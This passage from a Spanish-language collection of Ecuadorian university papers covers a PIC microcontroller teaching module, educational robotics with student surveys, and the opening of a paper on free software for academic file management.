Investigación de la Universidad Tecnológica Equinoccial titulada Diseño de una balanza electrónica en base a un microcontrolador AVR, se destacan las diferencias con el microcontrolador PIC, se utilizó el microcontrolador con la finalidad de reducir costos, recursos y espacios, propuso la inclusión de recurso técnicos en un chip se facilitó su manejo y la implementación de distintos proyectos. (Guapaz, 2013).

Investigación de la Universidad Laica Eloy Alfaro de Manabí titulada Módulo didáctico para el Diseño de un PLC con Microcontrolador PIC 16F873 en su desarrollo el investigador señala que gracias a la información técnica disponible, la masiva comercialización y la increíble información publicada acerca de los microcontroladores PIC, los hace ideales para aprender y estudiar su funcionamiento y considera que un módulo didáctico facilitará este proceso. (Carvajal, 2015).

Investigación de la Universidad Laica Eloy Alfaro de Manabí con el tema Módulo de entrenamiento basado en microcontroladores PIC 16F873 en su trabajo el investigador destaca la importancia de un modulo de entrenamiento para reforzar el proceso enseñanza aprendizaje, al permitir que los estudiantes puedan por en práctica los conocimientos adquiridos, pasando de la teoría a la práctica. (Jimenez, 2016).

Investigación de la Universidad Tecnológica de la Mixteca con el tema “Control de temperatura de un horno eléctrico mediante lógica difusa” mediante su desarrollo el investigador ejecutó un prototipo que le permitió monitorear y controlar la temperatura de un horno eléctrico mediante la implementación de un controlador difuso el mismo que fue entregado a la universidad para la realización de las prácticas de los estudiantes. (Jiménez, 2012).

Investigación de la Universidad Politécnica Salesiana quien destaca la importancia de la robótica señala que es una rama de la tecnología que se encarga del diseño, construcción, operación, y aplicación de los robots, así como los sistemas informáticos para su control, retroalimentación sensorial y procesamiento de la información, para lo que se incorporan principios de ingeniería mecánica, electrónica y ciencias de la computación. (Lindao, 2014).

Trabajo investigativo de la Universidad Superior Politécnica del Chimborazo con el tema Diseño e implementación de un prototipo para el control y monitoreo de una incubadora utilizando microcontroladores y LabVIEW su desarrollo abarcó el diseño de software de adquisición y visualización de datos en tiempo real para la manipulación de la incubadora a partir de una tarjeta diseñada con microcontroladores para la adquisición y tratamiento de las señales como las de temperatura y humedad. (Morales, 2011).

Investigación realizada en la Universidad Estatal de la Península de Santa Elena con el tema Implementación de un prototipo de robot móvil con visión nocturna para vigilancia y seguridad quien en su trabajo destaca la importancia de la robótica como un medio para mejorar la seguridad de los laboratorios de electrónica de la universidad, que pueden ser utilizados como un sistema eficiente de vigilancia permanente. (Naranjo, 2013).

Investigación de la Universidad Técnica de Cotopaxi con el tema Diseño de un PLC con Microcontrolador PIC 16F873 quienes en su trabajo señalaron como conclusiones la realización de un estudio detallado de diferentes fabricantes de PLCs como base para nuestro diseño, el estudio del programa de simulación Proteus, el diseño de un circuito del Controlador Lógico Programable con un microcontrolador PIC 16F873 y la implementación de módulos de Ampliación: Digitales, Analógicas y de Comunicación, abarcando los requerimientos más comunes de la industria (Palma & Sangopanta, 2011)

Investigación de la Universidad Laica Eloy Alfaro de Manabí con el tema Diseño de un entrenador de microcontroladores PIC para el área de Robótica, en sus conclusiones resalta la importancia de los microcontroladores para el aprendizaje de la programación robótica, siendo necesario disponer de un sistema de desarrollo confiable que permita descartar errores, a través del que los estudiantes puedan fortalecer sus conocimientos en el área de la robótica. (Herrera, 2013).

Investigación de la Universidad Laica Eloy Alfaro de Manabí con el tema Prototipo de microcontroladores aplicado a la Robótica, en sus conclusiones reconoce la importancia de generar herramientas de tipo didáctico que permitan reforzar el aprendizaje de la robótica de manera didáctica, contribuyendo en la fase final de la investigación a la implementación de un laboratorio de microcontroladores. (Zambrano, 2017).

MATERIALES Y MÉTODOS

La carrera de Ingeniería en Computación y Redes de la Universidad Estatal de Manabí tiene como una de sus principales metas la formación de profesionales constructores del desarrollo en tecnologías de la Programación, electrónica y redes, dentro del proceso formativo de los estudiantes para dar cumplimiento a dicha meta se brindan conocimientos teóricos y prácticos orientados al desarrollo de las habilidades y destrezas necesarias con las que deben contar un profesional altamente capacitado.

La robótica es un área del conocimiento de gran importancia para el desarrollo tecnológico, su aprendizaje combina diversas disciplinas como la mecánica, electrónica, informática, inteligencia artificial e ingeniería, su estudio dentro de la carrera de Ingeniería en Computación y Redes es vital para que los estudiantes puedan alcanzar los conocimientos teóricos y prácticos que la pericia profesional exige.

El desarrollo del módulo con Microcontroladores PIC brinda importante aporte a la problemática derivada de la falta de herramientas didácticas dentro la asignatura de Robótica, mediante el diseño del módulo como herramienta didáctica para el fortalecimiento en el proceso de enseñanza aprendizaje de la asignatura de Robótica de la carrera de Ingeniería en Computación y Redes.

Mediante el diseño del módulo se aspira que los estudiantes del área de Robótica cuenten con una herramienta que ofrezca conocimientos teóricos y prácticos relacionados a la utilidad, estructura, funcionamiento, aplicaciones de los Microcontroladores PIC, además de ofrecer información de gran diversidad y ventajas que tiene su uso dentro del área de la Robótica.

El diseño de un Módulo con Microcontroladores Pic tiene como finalidad ser utilizado como herramienta didáctica para contribuir al fortalecimiento del proceso de enseñanza aprendizaje de los estudiantes de la asignatura de robótica de la carrera de Ingeniería en Computación y Redes quienes presentan múltiples dificultades en el desarrollo de sus actividades académicas debido a que no se cuenta con el material suficiente que le permita desarrollar su proceso de aprendizaje de forma factible.

Mediante el Módulo con Microcontroladores Pic se le otorga a la asignatura de robótica de la carrera de Ingeniería en Computación y Redes un recurso didáctico, novedoso y atractivo, fácil de utilizar mediante el que los estudiantes puedan fortalecer sus conocimientos teórico y prácticos.

Su elaboración es factible por que se cuenta con los conocimientos necesarios para su diseño; la predisposición y el interés de los estudiantes en la asignatura de robótica fue uno de los elementos tomados en cuenta para la selección de la propuesta por lo tanto a través de su implementación se brinda un importante aporte al mejoramiento de la calidad académica de la carrera de Ingeniería en Computación y Redes.

Su desarrollo se convierte un importante aporte al compromiso asumido desde la carrera de Ingeniería en Computación y Redes de formar estudiantes con amplias competencias y conocimientos integrales que les permitan insertarse en el mercado laboral que día a día expande su campo de aplicación en el área de la Robótica.

RESULTADOS Y DISCUSIÓN

Como población de la investigación se considera a la totalidad de personas investigadas que corresponde a 216 personas distribuidas de la siguiente forma: 215 estudiantes y 1 Docente de la Carrera de Ingeniería en Computación y Redes.

Pregunta N° 1.- Cree usted que la carrera de Ingeniería en Computación y Redes cuenta con los implementos necesarios para la práctica en la asignatura de Robótica.

Análisis e interpretación:

De acuerdo a los resultados, se determina que el 9% de los encuestados si cree que la carrera de Ingeniería en Computación y Redes cuenta con los implementos necesarios para la práctica en la asignatura de Robótica, el 91% responde que la carrera no cuenta con los implementos necesarios. Se evidencia una de las debilidades existentes en la carrera de Ingeniería en Computación y Redes ya que existe falta de materiales necesario en el laboratorio para que puedan realizar las respectivas prácticas en la materia de robótica.

Pregunta N° 2.- En alguna ocasión ha utilizado los microcontroladores PIC para las prácticas de laboratorio de la asignatura Robótica.

Análisis e interpretación:

De los resultados obtenidos, se desprende que el 93% de los encuestados manifiesta que en alguna ocasión ha utilizado los microcontroladores PIC para las prácticas de laboratorio de la asignatura Robótica, el 7% de los estudiantes no ha hecho uso de estos recursos. Existe la necesidad de integrar con mayor frecuencia el uso de los microcontroladores PIC para las prácticas de laboratorio de la asignatura Robótica, ya que no todos los estudiantes han tenido acceso a estos recursos.

Pregunta N° 3.- Conoce usted importancia de los microcontroladores PIC, y su aplicación didáctica en el proceso de enseñanza aprendizaje.

Análisis e interpretación:

En la pregunta 3 se obtiene, que el 99% de los estudiantes conoce la importancia de los microcontroladores PIC, y su aplicación didáctica en el proceso de enseñanza aprendizaje. Los estudiantes están conscientes de la utilidad que ofrecen los microcontroladores PIC en el aprendizaje, se debe aprovechar el interés que existe hacia el uso de estos recursos para mejorar el nivel de aprendizaje.

Pregunta N° 4.- Cómo cree usted que será el impacto del uso de los microcontroladores PIC en el desarrollo de prácticas de laboratorio de la asignatura Robótica.

Análisis e interpretación:

En los resultados obtenidos de la pregunta 4, el 93% de los estudiantes cree que será alto el impacto del uso de los microcontroladores PIC en el desarrollo de prácticas de laboratorio de la asignatura Robótica, el 6% responde que es medio, y el 1% manifiesta que es bajo. Los estudiantes consideran que existirá un alto impacto del uso de los microcontroladores PIC en el desarrollo de prácticas de laboratorio de la asignatura Robótica, dado los beneficios que estos ofrecen para el aprendizaje.

Pregunta N° 5.- Cree usted que la aplicación de un módulo de microcontroladores PIC en las prácticas de la asignatura de Robótica fortalecerá el proceso enseñanza aprendizaje de los estudiantes de la carrera.

Análisis e interpretación:

El 99% de los estudiantes considera que la aplicación de un módulo de microcontroladores PIC en las prácticas de la asignatura de Robótica fortalecerá el proceso enseñanza aprendizaje de los estudiantes de la carrera, el 1% responde que no. Los estudiantes en su mayoría muestran predisposición al utilizar módulo de microcontroladores PIC para fortalecer el proceso enseñanza aprendizaje de la asignatura de Robótica

Pregunta N° 6.- Cree usted que es necesario el diseño de un módulo de microcontroladores PIC como herramienta didáctica para el fortalecimiento del proceso enseñanza aprendizaje de la asignatura de Robótica.

Análisis e interpretación:

De acuerdo a los resultados obtenidos, el 99% de los estudiantes cree que es necesario el diseño de un módulo de microcontroladores PIC como herramienta didáctica para el fortalecimiento del proceso enseñanza aprendizaje de la asignatura de Robótica, el 1% responde que no. Los estudiantes muestran predisposición hacia el diseño de un módulo de microcontroladores PIC como herramienta didáctica para el fortalecimiento del proceso enseñanza aprendizaje de la asignatura de Robótica.

Pregunta N° 7.-Cuál cree usted que será el impacto de la implementación de un módulo de microcontroladores PIC como herramienta didáctica para el fortalecimiento del proceso enseñanza aprendizaje de la asignatura de Robótica.

Análisis e interpretación:

Se obtiene que el 98% de los estudiantes califica como alto el impacto de la implementación de un módulo de microcontroladores PIC como herramienta didáctica para el fortalecimiento del proceso enseñanza aprendizaje de la asignatura de Robótica. Los estudiantes conocen el beneficio que tiene la implementación de un módulo de microcontroladores PIC como herramienta didáctica para el fortalecimiento del proceso enseñanza aprendizaje de la asignatura de Robótica.

CONCLUSIÓN

- En el desarrollo del proceso enseñanza aprendizaje de la asignatura de robótica de la carrera de Ingeniería en Computación y Redes los estudiantes no han contado con un equipamiento completo, la falta de un laboratorio integral para el desarrollo de las prácticas ha limitado el desempeño académico en el área de la Robótica.
- El diseño de las funciones y características del módulo de microcontroladores como herramienta didáctica para la enseñanza de la asignatura de Robótica lo convierten en un material sencillo, manipulable y de fácil entendimiento para el estudiante lo que favorece su uso como material de apoyo.
- En la carrera de Ingeniería en Computación y Redes se ha dado prioridad a los conocimientos teóricos, la falta de un equipamiento adecuado impide la realización de trabajos prácticos.

REFERENCIAS BIBLIOGRÁFICAS

- Angulo, J. (2013). Microcontroladores PIC Diseño práctico de aplicaciones. Mexico.
- Bates, M. (2013). Programming 8-BIT Microcontrollers in C with Interactive Hardware Simulation”. Denver: Newnes.
- Carvajal, E. (2015). Modulo didáctico para el Diseño de un PLC con Microcontrolador PIC 16F873. Manta: Universidad Laica Eloy Alfaro de Manabí.
- Chacón, M. (2015). Percepción visual aplicada a la robótica. México: Alfaomega.
- García, P. (2015). Estilos de Aprendizaje. Madrid: CEPE.
- García, E. (2012). Compilador C CCS y Simulador Proteus para Microcontroladores PIC. Barcelona: Marcombo.
- Hernández, M. (2015). Robótica, análisis, modelado, control e implementación. Tamaulipas: Universidad Politécnica de Victoria.
- Herrera, C. (2013). Diseño de un entrenador de microcontroladores para el área de Robotica. Manta: Universidad Laica Eloy Alfaro de Manabí.
- Jiménez, I. (2012). Control de temperatura de un horno eléctrico mediante lógica difusa. Huajapan de León: Universidad Tecnológica de la Mixteca.

- Jimenez, L. (2016). *Módulo de entrenamiento basado en microcontroladores PIC 16F873*. Manta: Universidad Laica Eloy Alfaro de Manabí.
- Jones, J. (2014). *Robot Programming A practical Guide to Behavior-Based Roboti*. Washington : McGraw-Hill.
- Prata, S. (2014). *C Primer Plus*. Washington: Sams Publishing.
- Reid, J. (2016). *Learning Styles: Issues and Answers. Learning Styles in the ESL/EFL Classroom*. USA: Heinle & Heinle Publishers.
- Reyes, F. (2011). *Robótica: Control de Robots Manipuladores*. Mexico: Marcombo.
- Rojas, E. (2015). *Consideraciones acerca de los estilos de aprendizaje*. La Habana: ISPEJV.
- Sánchez, S. (2016). *Introducción y arquitectura de microcontroladores*. Recuperado el 20 de Julio de 2017, de Micronontroladores y sus aplicaciones: Introducción y Arquitectura de microcontroladores
- Tocci, R. (2016). *Digital Systems*. San Francisco: Prentice Hall.
- Valdez, E. (2015). *Microcontroladores: Fundamentos y aplicaciones con PIC*. Madrid: Alfaomega.
- Valdéz, F. (2012). *Microcontroladores: fundamentos y aplicaciones con PIC*. Barcelona: Marcombo.
- Veerle, L. (2015). *Aprender con todo el cerebro*. Madrid: Martínez Roca.
- Villarroya, O. (2012). *Palabra de robot inteligencia artificial y comunicación*. Madrid: Sin Frontera.
- Witkin, H. (2016). *Tests de Figuras Enmascaradas: Forma colectiva-GEFT*. Madrid: Publicaciones de Psicología Aplicada.

INNOVACIÓN EDUCATIVA EN LA ENSEÑANZA A TRAVÉS DE LA ROBÓTICA PARA ESTUDIANTES DE NIVEL SUPERIOR

Yandry Alejandro Baque Gutiérrez

Lcda. Grace Liliana Figueroa Morán, MG. IE.

Ing. Julio Paladines Morán, MG. IE.

Leiver Orlando Delgado Martínez

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Leiverorlando@hotmail.com

RESUMEN

El presente artículo consistió en la Innovación Educativa en la enseñanza a través de la robótica para estudiantes de nivel superior, la robótica es parte fundamental del futuro y es por ello que los estudiantes de nivel superior deben llevar siempre esa incentivación de ser creativos y que gracias a esta rama la innovación cada día está más cerca; es posible crear nuevos conjuntos de técnicas que ayudan a toda una sociedad. Como objetivo tuvimos analizar los diferentes tipos de robots, guiados por el docente utilizando la robótica educativa como recurso didáctico integrado en el currículo de las diferentes etapas formativas. Dando a conocer las características esenciales de cada robot educativo y la ilustración de cada uno. Recordemos que las tecnologías abarcan un gran espacio en cada parte del mundo y cada vez es más notable la creación de robots inteligentes, todo gracias a la rama de la tecnología.

PALABRAS Clave: innovar, sociedad, sensores

ABSTRACT

The present article consisted of Educational Innovation in teaching through robotics for higher level students, robotics is a fundamental part of the future and that is why higher level students should always take this incentive to be creative and thank you to this branch innovation is closer every day; It is possible to create new sets of techniques that help an entire society. As an objective we had to analyze the different types of robots, guided by the teacher using educational robotics as a didactic resource integrated in the curriculum of the different formative stages. Giving to know the essential characteristics of each educational robot and the illustration of each one. Recall that technologies cover a large space in each part of the world and the creation of intelligent robots is increasingly notable, all thanks to the branch of technology.

Keywords: innovate, society, sensors

INTRODUCCIÓN

El aprendizaje y la enseñanza con el pasar del tiempo han sido reformadas, y el ser humano en su vida cotidiana siente una gran curiosidad por el entorno que le rodea y como consecuencia, nace el deseo de adquirir nuevos conocimientos, ya sea transmitida por alguien o adquirida empíricamente.

La adquisición de conocimientos es dada gracias a la práctica de saberes, es el mejor método para perfeccionar un accionar técnico. En la educación superior se da mucho énfasis a la parte práctica gracias a la instauración de laboratorios que canalicen los conocimientos en las destrezas aplicativas.

La robótica es una rama tecnológica que nació bajo la necesidad de automatizar diversas tareas mediante equipamientos mecánicos. Actualmente es una aplicación muy desarrollada que tiene una gran presencia en diversos ámbitos productivos de la sociedad, como el industrial y el tecnológico. Para el profesional representa un valioso aporte en la ejecución de las diversas competencias profesionales.

Hoy en día, el Ecuador está en vía de desarrollo tecnológico, por ende, la robótica se la está implementando mucho en las instituciones educativas, partiendo desde los primeros niveles de estudio hasta llegar al nivel superior, con el objetivo de potenciar el conocimiento de los estudiantes a través de los docentes, por medio de la pedagogía didáctica.

DESARROLLO

Definición e Importancia De La Robótica

Según la revista (Proware, 2016), la robótica es la ciencia que nos permite estudiar la estructura de los circuitos electrónicos, son dispositivos que mediante elementos electrónicos tales como sensores, motores actuadores, etc. Pueden ser capaces de imitar o cumplir funciones de precisión imposibles para el ser humano.

Es un medio didáctico mediante la cual se puede fortalecer distintas competencias en los estudiantes como son la autonomía y el trabajo en grupo, además de que gracias a estas herramientas los docentes podrán impartir sus clases de una forma más intuitiva para los estudiantes, esta tecnología va de la mano con la inteligencia artificial, la mecánica e incluso la electrónica

Robótica Pedagógica

(Techno Inventors, 2016) Indicó que la robótica pedagógica o también llamada robótica educativa es una de las mejores disciplinas usadas para la adquisición de conocimiento ya que los estudiantes pueden ser capaces de crear sus propias representaciones robóticas, por medio de esta metodología el docente tiene la posibilidad de desarrollar practicas didácticas sobre los conceptos abstractos que por lo general pueden ser indefinidos por parte de los estudiantes, al emplear estrategias con ellos el docente tiene la ventaja de llamar la atención e interés en la clases y así lograr una relación plena entre la enseñanza aprendizaje.

Desarrollo de Entornos de Aprendizaje

Según (Moreno, Iveth, 2014) El desarrollo de entornos de aprendizaje supone “convertir” el salón de clases en oratorio de exploración y experimentación en donde los estudiantes serán convocados a resolver sucesos problemáticos mediante su participación en situaciones didácticas construccionistas. Cada una de las situaciones didácticas construccionistas pretende la construcción-desarrollo-exploración-experimentación de conceptos de ciencia y tecnología.

Tipos de Robots que se utilizan en la Educación

Según la revista (Tanaka, 2014) indicó que la realización del robot es también un factor crítico en la actividad de aprendizaje. Existen numerosos kits robóticos, que van desde kits de bajo costo de una sola función a robots humanoides que cuestan miles de dólares.

Para explorar las diversas opciones, podemos considerar una hipotética escala progresiva de encarnación. En un extremo de la escala podría haber los kits mecánicos de una sola función de bajo costo que se usan típicamente para ilustrar solamente una función, tal como seguir una línea o reaccionar a la fuente de sonido. Más abajo en la escala, tenemos kits que proporcionan la opción de educar sobre no solo sobre robótica, sino también electrónica.

Estos kits son completamente programables y los estudiantes también pueden construir robots y cargar scripts en ellos. Finalmente estarían los kits que permiten una mayor libertad mecánica y flexibilidad con el diseño del robot como los LEGO Mindstorms. Se ha demostrado que los robots Mindstorm enseñan una amplia gama de temas que van desde el lenguaje la informática/programación, la física, el diseño de ingeniería y la robótica. Además, tenemos a los robots como agentes plenamente encarnados usados tanto en la educación formal como en

la informal, como el robot humanoide NAO, los robots encarnados como animales de compañía o personajes de juguete.

Estos robots tienen la capacidad de participar en la interacción social, en virtud de ser capaces de hablar y exhibir expresiones faciales. En la mayoría de las situaciones, estos robots se utilizan para enseñar temas no técnicos tales como el lenguaje o la música, que requieren que el robot se involucre en alguna forma de interacción social con el estudiante. No todos los kits robóticos serán atractivos para todo tipo de estudiantes.

La utilidad de la Robótica Educativa

Según El objetivo de la utilización de la robótica es claro (Escobar Rodrigo, 2015) , el de potenciar los conocimientos de los estudiantes por medio de herramientas tecnológicas, y sumergir al estudiante en las nuevas experiencias de la ciencia tecnológica a través de la lúdica. La robótica aplicada en los estudiantes logra fomentar la imaginación, fortalecer el trabajo en equipo.

MATERIALES Y MÉTODOS

Análisis-Síntesis: para descomponer el tema en elementos separados y posteriormente se realizó la determinación de la innovación que producen los robots dentro de la enseñanza. Por lo consiguiente, para la obtención de los datos relevantes del estudio se utilizó la muestra de 80 estudiantes que representa el 35% de la población asumida en el trabajo de investigación.

Bibliográfico: se utilizó este método para recopilar información, obtenidas de páginas web, tesis y artículos relacionados referentes al proyecto de investigación

Cuantitativo: a través de las encuestas realizadas dirigidas a los estudiantes de la Carrera de Ingeniería en Computación y Redes.

Estadístico: utilizado para interpretar la información de los cuadros estadísticos y para graficar los resultados de la investigación.

Resultados Y Discusión

Encuesta dirigida a estudiantes de la carrera en Ingeniería En Computación y Redes.

1. **¿Cree usted conveniente el uso de la robótica para el desarrollo de aprendizaje en su carrera profesional?**

Tabla N°1

PREGUNTA N° 1		
Alternativas	Respuestas	Porcentajes
Si	79	99%
No	1	1%
Tal vez	0	0%
Total	80	100%

Grafico N°1

Fuente: Estudiantes de la Carrera de Ingeniería en Computación y Redes
Elaborado por: Leiver Delgado, Yandry Baque, Lcda. Grace Figueroa.

Interpretación

Respecto al resultado obtenido en la pregunta formulada, de los 80 encuestados el 99% manifestaron que, si creen conveniente el uso de la robótica para el desarrollo de aprendizaje en su carrera profesional, mientras tanto el equivalente al 1% dio una respuesta negativa y la minoría del 0%

Siendo la mayor parte de los encuestados que si creen conveniente el uso de la robótica para el desarrollo de aprendizaje en su carrera profesional, se puede evidenciar que el uso de la robótica satisface sus necesidades.

- 2. ¿Considera usted necesario la implementación de robots didácticos en los laboratorios para potenciar destrezas y creatividad?**

Tabla N° 2

PREGUNTA N° 2

Alternativas	Respuestas	Porcentajes
Si	75	95%
No	3	3%
Tal vez	2	2%
Total	80	100%

Gráfico N°2

Fuente: Estudiantes de la Carrera de Ingeniería en Computación y Redes
Elaborado por: Leiver Delgado, Yandry Baque, Lcda. Grace Figueroa.

Interpretación

De acuerdo al resultado obtenido, el 95% manifestaron que, si creen conveniente la implementación de robots didácticos en los laboratorios para potenciar destrezas y creatividad, mientras tanto el equivalente al 3% dio una respuesta negativa del mismo y la minoría del 2% puntualiza que quizás sea necesario.

Se puede evidenciar que la implementación de los robots didácticos es de vital importancia para potenciar destrezas.

3. **¿Considera usted que este tipo de enseñanza es de innovación educativa para estudiantes de nivel superior?**

Tabla N°3

PREGUNTA N° 3		
Alternativas	Respuestas	Porcentajes
Si	78	98%
No	2	2%
Total	80	100%

Gráfico N°3

Fuente: Estudiantes de la Carrera de Ingeniería en Computación y Redes
Elaborado por: Leiver Delgado, Yandry Baque, Lcda. Grace Figueroa.

Interpretación

Mediante la encuesta se obtuvo un resultado del 98% que manifiestan que este tipo de enseñanza es de innovación educativa para estudiantes de nivel superior, mientras tanto el equivalente al 2% dio una respuesta negativa del mismo

Se puede evidenciar que gracias a este tipo de enseñanza innovadora los estudiantes de nivel superior pueden ser más autónomos al momento de usar los robots.

- ¿Cree usted que las tecnologías aplicadas a la robótica son de interés para los estudiantes?**

Tabla N°4

PREGUNTA N° 4		
Alternativas	Respuestas	Porcentajes
Si	78	98%
No	2	2%
Total	80	100%

Gráfico N°3

Interpretación

Mediante la encuesta se obtuvo un resultado del 98% que manifiestan que este tipo de enseñanza de las tecnologías aplicadas a la robótica es de interés para los estudiantes, mientras tanto el equivalente al 2% dio una respuesta negativa del mismo

Se puede evidenciar que gracias a este tipo de enseñanza innovadora los estudiantes de nivel superior pueden ser más autónomos al momento de usar los robots.

CONCLUSIONES

- Se observan las potencialidades de los robots para ayudar al desarrollo de enseñanza del docente de manera innovadora.
- Gracias a este tipo de enseñanza los estudiantes potencian sus destrezas en el ámbito tecnológico.

RECOMENDACIONES

- Promover la utilización de robots en el aula como hilo conductor transversal para su aplicación en diversas materias desde los primeros niveles educativos.
- Se hace relevante la capacitación a los docentes, ya que muestran interés e iniciativa en el complemento de sus clases con herramientas que hagan uso de la tecnología.

REFERENCIAS BIBLIOGRÁFICAS

Escobar Rodrigo. (2015). La Robótica Pedagógica como Herramienta para la Construcción de aprendizajes significativo en el aula. Obtenido de Coloquio Internacional de Educación: <http://www.unicauca.edu.co/eventos/index.php/educoloquio/2016/paper/viewFile/210/103>

Moreno, Iveth. (2014). La robótica educativa, una herramienta para la enseñanza - aprendizaje de las ciencias y las tecnologías. Salamanca: Universidad de Salamanca.

Proware. (2016). Robótica. REVISTA PROWARE, 3,6.

Tanaka, F. M. (2014). Los niños enseñan a un robot que recibe cuidados para promover su aprendizaje: experimentos de campo en una clase para aprender vocabulario. . Diario de HRI, 78-95.

Techno Inventors. (2016). Robótica Educativa. Obtenido de La Robótica Pedagógica: <https://www.technoinventors.com/la-robotica-pedagogica/>

ANEXOS

BIOGRAFÍAS DE AUTORES

Yandry Alejandro Baque Gutiérrez, Estudiante de la Carrera de Ingeniería en Computación y Redes de la Universidad Estatal del Sur de Manabí, del Cantón Jipijapa-

Manabí-Ecuador; graduado de Bachiller en administración en sistemas Colegio Fiscal 15 de Octubre Jipijapa- Manabí- Ecuador

Lcda. Grace Liliana Figueroa Morán, MG. IE., Docente de la Universidad Estatal del Sur de Manabí Magister en Informática Empresarial, Lcda. En Ciencia de la Educación especialidad Informática

Ing. Julio Paladines Morán, MG. IE. Docente de la Universidad Estatal del Sur de Manabí Magister en Informática Empresarial, Ing. En Sistema

Leiver Olando Delgado Martínez, Estudiante de la Carrera de Ingeniería en Computación y Redes de la Universidad Estatal del Sur de Manabí, del Cantón Jipijapa- Manabí-Ecuador; graduado de Bachiller en Electromecánica Automotriz; Colegio Fiscal Manuel Inocencio Parrales y Guale Jipijapa- Manabí- Ecuador

USO DE SOFTWARE LIBRE PARA LA GESTIÓN DE ARCHIVOS EN LOS PROCESOS ACADÉMICOS UNIVERSITARIOS

Martha Irene Romero Castro

Vicente Fray Romero Castro

Rosario Magdalena Romero Castro

Narcisa Jahaira Morán Balón

Ricardo Javier Holguin Quimis

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

martha.romero@unesum.edu.ec

vicente.romero@unesum.edu.ec

rosario.romero@unesum.edu.ec

jahaira.moran@unesum.edu.ec

ricardo126960@gmail.com

RESUMEN

En la presente investigación se identificó la necesidad de efectuar un estudio de factibilidad para el mejoramiento del control y optimización de los archivos que se da en esta área, para lo cual se contó con la investigación basándose como criterio general la utilización de un software libre, el cual permitirá agilizar los recursos de búsqueda en el laboratorio de telecomunicaciones, para lo cual se realizaron las encuestas pertinentes a expertos en la materia, para que mediante este recurso brinden sus conocimientos y así poder tener la veracidad de este trabajo de investigación. Una de las características principales que ofrece el estudio de factibilidad, es conocer diferentes criterios de validación en sistemas que pueden ser aplicables a este trabajo, pero teniendo en consideración que se tomara en cuenta el mejor y más eficaz sistema informático para su uso posterior, este permitirá gestionar de manera inmediata los archivos que en ella reposan, una vez elegido el sistema informático se hará un cálculo estadístico el cual va a permitir verificar la eficiencia del mismo en cuanto a la gestión de información ya sea esta física o lógica y así llegar a un resultado deseado.

PALABRAS CLAVES: Control, Información, Optimización, Recursos

ABSTRACT

In the present investigation the need was identified to carry out a feasibility study for the improvement of the control and optimization of the archives that occur in this area, for which the investigation was based on the use of free software as a general criterion, which will make it possible to expedite the search resources in the telecommunications laboratory, for which the relevant surveys were carried out to experts in the field, so that through this resource they provide their knowledge and thus be able to have the veracity of this research work. One of the

main features offered by the feasibility study is to know different validation criteria in systems that may be applicable to this work, but taking into account that the best and most effective computer system for later use will be taken into account, this It will allow you to immediately manage the files that rest in it, once the computer system is chosen, a statistical calculation will be made which will allow you to verify its efficiency in terms of information management, whether physical or logical, and thus reach a desired result.

KEYWORDS: Control, Information, Optimization, Resources.

INTRODUCCIÓN

Hoy en día la información que se transmite mediante diferentes medios, una cantidad exuberante y el por tener acceso a toda esta información, requiere de sistemas de búsqueda general los cuales son una respuesta inmediata a una pregunta hecha, en una localidad, sin un sistema de almacenamiento, control y dirección la búsqueda y muestra de información, se puede tardar varias horas e incluso días si hay mucha información almacenada buscando un archivo, partiendo de este problema los ingenieros en sistemas computacionales buscaron soluciones mediante la creación de software libres y de fácil acceso y uso, para que estas puedan ser manipuladas por cualquier persona y así poder hacer de la búsqueda de un archivo un método más eficiente y eficaz en la actualidad.

El objetivo principal para el desarrollo de softwares informáticos de gestión de archivos es la disminución de tiempos y optimización de los procesos de respuestas a solicitudes y así los usuarios puedan generar la documentación correspondiente y solucionar el gran factor como es la pérdida innecesaria del tiempo.

El proyecto de investigación tiene como finalidad diagnosticar un estudio de factibilidad donde se dé a conocer los requerimientos necesarios para la elaboración de un software libre que permita gestionar los archivos que el laboratorio de telecomunicaciones necesita optimizar, para lo cual nos hemos basado en investigaciones en cuanto al desarrollo de sistemas informáticos factibles a las necesidades pertinentes, así como también de recursos para dejar plasmado el cómo poder desarrollarlo eficazmente este software, esto se hace factible mediante las encuestas a estudiantes y docentes especialistas en este tema, además se plasma una propuesta que es el resultado de nuestra investigación para así dar paso a su desarrollo futuro.

Gestión de archivos

El autor (Raffino, 2019), afirma que la gestión de archivos se efectúa a través del sistema operativo consintiendo que los usuarios tengan acceso directo con los archivos y tengan control de ellos, también se puede compartir archivos con otros usuarios, ofrecer seguridad y defensa a estos. Esto le permite al usuario realizar ciertas operaciones con ellos, las cuales son:

- Puedes crear un archivo, identificándolo con un nombre y determinar el espacio de este.
- Abrir el archivo, aquí se realiza distintas operaciones como su ejecución, leerlo, escribir en él.
- Borrarlo de modo que puedes liberar el espacio que ocupa este archivo.
- Cerrar el archivo, finaliza la ejecución de este.

- Modificarlo permite hacer cambios al archivo como cambiar su nombre.

Dentro de la gestión de archivos se incluye la posibilidad de la edición pues esa acción está siempre asociada a un programa incluido en el propio sistema operativo.

Es bueno mantener una buena organización de los archivos que se vaya creando, utilizando las carpetas para organizar la información por temas o por tipos o como consideremos mejor. (Lasso, 2015)

Uso de software libre en los procesos académicos

El manejo de software libre es más que enseñar a utilizar un producto, es instruir a utilizar una tecnología, que este se apoya en estándares libres y reconocidos. Un usuario de un sistema privativo como por caso Microsoft Windows o Microsoft Office se sentirá perdido al pretender utilizar cualquier otro sistema que efectúe la misma función debido a que atribuyen una forma de manipulación no estandarizada y cerrada lo que no permite ver todo proceso de manera transparente, es todo lo contrario de un usuario que utilice comúnmente GNU/Linux o de cualquier otro sistema libre.

El software libre al permitir su copia de manera legal evita a las universidades tener que pagar una licencia por cada equipo que posea un sistema con algún software libre, sumado a que gran parte de este tipo de software se comercializa de manera gratuita. (Rodríguez Ruiz, 2013)

(Rodríguez Ruiz, 2013), También afirma que otro de los puntos a favor y que hay que tener en cuenta son los costos de mantenimiento del software es muy bajo debido a su gran estabilidad y calidad, esto es muy ventajoso porque impide la reinstalación del software por las pérdidas de licencias y sus altos costos.

Los softwares libres como buena herramienta de aprendizaje en el área de informática.

(Rubio, 2016) dice que el uso de software libre permite que los alumnos le den uso de su creatividad e ingenio utilizando programa de computador ya existente desarmándolo, modificándolo y rearmándolo, fundando mejores softwares y corrigiendo las percepciones de la programación moderna.

Esto le suma un valor agregado para los estudiantes de programación que pueden trabajar con softwares existentes y a su vez asimilar que son herramientas de suma importancia para su desarrollo profesional que les permite saber de qué manera funciona una computadora con su sistema operativos o un programa con sus respectivas funciones con sus procesos internos y sus procesos de cada operación. (Rubio, 2016)

Software Libre Open Source

